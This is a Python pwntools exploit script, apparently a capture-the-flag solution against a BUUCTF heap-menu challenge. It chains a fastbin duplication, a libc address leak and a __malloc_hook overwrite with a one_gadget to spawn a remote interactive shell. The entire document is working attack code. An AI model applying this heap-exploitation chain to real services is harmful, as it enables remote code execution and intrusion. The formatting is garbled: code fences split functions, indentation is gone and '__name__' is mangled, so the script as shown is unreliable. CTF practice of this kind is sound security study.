```
from pwn import *
io = remote('node4.buuoj.cn',29902)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def alloc(size):
io.sendlineafter('Command: ','1')
io.sendlineafter('Size: ',str(size))

def fill(idx,cont):
io.sendlineafter('Command: ','2')
io.sendlineafter('Index: ',str(idx))
io.sendlineafter('Size: ',str(len(cont)))
io.sendlineafter('Content: ',cont)

def free(idx):
io.sendlineafter('Command: ','3')
io.sendlineafter('Index: ',str(idx))

def dump(idx):
io.sendlineafter('Command: ','4')
io.sendlineafter('Index: ',str(idx))
io.recvuntil('Content: \n')
return io.recvline()

def fastbin_dup():
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
free(2)
```

```
payload = 'A'*0x10
payload += p64(0)+p64(0x21)
payload += p64(0)+'A'*8
payload += p64(0)+p64(0x21)
payload += p8(0x80)
fill(0,payload)

payload = 'A'*0x10
payload += p64(0)+p64(0x21)
payload += p8(0x80)
fill(3,payload)

alloc(0x10)
alloc(0x10)
```

def leak_libc():
global libc_base,malloc_hook

```
payload = 'a'*0x10
payload += p64(0)+p64(0x91)
fill(3,payload)

alloc(0x80)
free(4)
leak_addr = u64(dump(2)[:8])
libc_base = leak_addr -0x3c4b78
malloc_hook = libc_base +libc.symbols['__malloc_hook']
log.info('leak address:0x%x'%leak_addr)
log.info('libc base: 0x%x'%libc_base)
log.info('__malloc_hook address: 0x%x'%malloc_hook)
```

def pwn():
alloc(0x60)
free(4)
fill(2,p64(malloc_hook-0x20+0xd))

```
alloc(0x60)
alloc(0x60)
one_gadget = libc_base +0X4526A
fill(6,p8(0)*3+p64(one_gadget))

alloc(1)
io.interactive()
```

if **name** == '**main**':
fastbin_dup()

```
leak_libc()
pwn()
```